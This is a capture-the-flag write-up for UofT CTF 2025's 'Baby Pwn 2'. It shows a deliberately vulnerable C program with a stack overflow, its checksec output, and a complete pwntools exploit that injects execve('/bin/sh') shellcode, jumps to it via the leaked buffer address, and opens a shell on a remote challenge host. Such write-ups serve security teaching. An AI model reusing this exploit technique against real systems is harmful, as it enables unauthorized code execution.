UofT CTF 2025

Baby Pwn 2 [100 pts]

Here’s a baby pwn challenge for you to try out. Can you get the flag?

nc 34.162.142.123 5000

Author: atom

baby-pwn-2.zip

We’re provided the binary along with the source file:

#include <stdio.h>
#include <string.h>

void vulnerable_function()
{
    char buffer[64];
    printf("Stack address leak: %p\n", buffer);
    printf("Enter some text: ");
    fgets(buffer, 128, stdin);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Welcome to the baby pwn 2 challenge!\n");
    vulnerable_function();
    printf("Goodbye!\n");
    return 0;
}
C

checksec output:

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
YAML

NX is disabled –> implies shellcode is likely the solution.

We also have a simple buffer overflow of 128 bytes read into the 64 byte buffer. And we’re given a stack leak of the address of buffer.

Basically, we can just write shellcode into buffer, and then overwrite saved RIP with the address of buffer that was leaked by the program. Then, the program will jump to our shellcode instructions in buffer, and run whatever we want!

For the shellcode, we can create a pretty simple one to call system("/bin/sh\x00") (null-terminated because that’s how C interprets strings!).

Here’s the exploit:

#-----------RIP OFFSET------------#
# send(cyclic(128, n=8), b': ')
# p.interactive()
# exit()

#--------------LEAK---------------#
p.recvuntil(b': ')
buffer = int(p.recvline(), 16)

#--------------WIN----------------#
offset = cyclic_find('jaaaaaaa', n=8)
payload = bytes(asm('''
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, SYS_execve
syscall
'''))
payload = payload.ljust(offset, b'\x00')
payload += p64(buffer)
send(payload, b': ')
Python

And we get the flag!

uoftctf{sh3llc0d3_1s_pr3tty_c00l}

Full script:

# Useful references:
# https://gist.github.com/anvbis/64907e4f90974c4bdd930baeb705dedf

from pwn import *
import sys
import os

#---------HELPER FUNCTIONS---------#

def get_leak(before: bytes, end: bytes=b'\n') -> int:
    p.recvuntil(before)
    return int(p.recvuntil(end).decode('ascii')[:-1], 16)

def send(payload: bytes, before: bytes=b'', line: bool=True) -> int:
    payload = payload + (b'\n' if line else b'')
    if before == b'':
        p.send(payload)
    else:
        p.sendafter(before, payload)


#---------SETUP---------#

args = list(map(lambda s: s.upper(), sys.argv))
_libcs = list(filter(lambda s: 'libc.so.6' in s, os.listdir()))
_lds = list(filter(lambda s: 'ld' == s[:2], os.listdir()))

elf = ELF("baby-pwn-2") #------TODO------#
libc = _libcs[0] if len(_libcs) else elf.libc
ld = _lds[0] if len(_lds) else None

context.binary = elf
context.log_level = "DEBUG"

gdbscript = '''
# 
'''

if 'REMOTE' in args:
    p = remote('34.162.119.16', 5000) #------TODO------#
else:
    p = process([elf.path])
    gdb.attach(p, gdbscript=gdbscript)


###################################
#==========BEGIN EXPLOIT==========#
###################################

#-----------RIP OFFSET------------#
# send(cyclic(128, n=8), b': ')
# p.interactive()
# exit()

#--------------LEAK---------------#
p.recvuntil(b': ')
buffer = int(p.recvline(), 16)

#--------------WIN----------------#
offset = cyclic_find('jaaaaaaa', n=8)
payload = bytes(asm('''
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, SYS_execve
syscall
'''))
payload = payload.ljust(offset, b'\x00')
payload += p64(buffer)
send(payload, b': ')

###################################
#===========END EXPLOIT===========#
###################################

p.interactive()
p.close()

# uoftctf{sh3llc0d3_1s_pr3tty_c00l}
Python